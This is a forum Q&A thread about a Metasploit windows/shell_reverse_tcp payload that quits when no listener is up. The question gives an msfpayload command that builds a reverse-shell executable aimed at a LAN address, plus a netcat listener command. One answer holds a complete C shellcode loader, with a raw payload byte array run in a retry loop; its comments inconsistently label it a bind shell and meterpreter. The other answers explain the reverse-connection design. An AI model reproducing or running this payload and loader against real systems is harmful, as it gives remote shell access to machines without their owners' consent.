windows/shell_reverse_tcp exploit is not working if listener is not running already

Question

I am using Metasploit to generate a shell_reverse_tcp exploit using the following command:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe

On listener side I am using netcat.

Everything is perfect and if I run the listener first(nc -l -p 4444) and open the exploit.exe after that. But If my listener is not running and I run the exploit.exe, it starts and exits immediately. So if I run the exploit.exe first and start the listener after, it doesn't work. I've also tried ReverseConnectRetries but this is not working either.

So what is the problem? Thanks for any answers.

Answer 1

If i run exploit.exe first and listener second then it doesn't work

Of course it won't, and that's what reverse_tcp means. The payload is reverse_tcp shell, it will start a connection from the victim to the attacker machine, so the listener must be up and running for accepting the connection.

Answer 2

I assume the question is: will this single (payload type) retry and wait for a connection?

When you look into the shell_reverse_tcp.rb file in your framework-# (look in modules/payloads/singles/windows) it does not state that that there should be any connection retry. If you however look into the stager reverse_tcp.rb (modules/payloads/stagers/windows) there is a 'ReverseConnectionRetries' value to set. I know this is not a solid answer, but Singles are simpler and smaller than Stages/Stagers combinations, so it is valid to assume that there is no reconnect ability - even using MSFVenom.

Answer 3

I am trying to find the alternative for this problem. So I created the shell code rather than executable and put that in to a c program. Now I am trying to put this code in to a infinite loop but this is not working also, If listener is not running already then program exists immediately.I am not a expert c programmer so please make me correct if i am doing something wrong. I am using gcc to compile this code.

/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=5678, RHOST=, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
#include <windows.h>
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x01\x07\x68\x02\x00\x02\x2b\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
/* Launch the meterpreter shellcode */
void main()
 {
    /* Declare pointer on function */
    int (*func) ();
    /* Cast shellcode into function */
    while(1){
        func = (int (*) ()) buf;
        /* Call function (Execute shellcode) */
        (int) (*func) ();
        sleep(1000);
    }
}                                

Answer 4

As far as I know msfvenom also supports a "service exe" type, maybe that automatically tries a reconnect (I don't know). Otherwise I think what you're asking for is simply out of scope. As pointed out by other answers by design the reverse shell wants to connect to a listener that is already up and running. If you need a different behaviour then the best option for you is to search for reverse shell C code, change it and compile it on your own.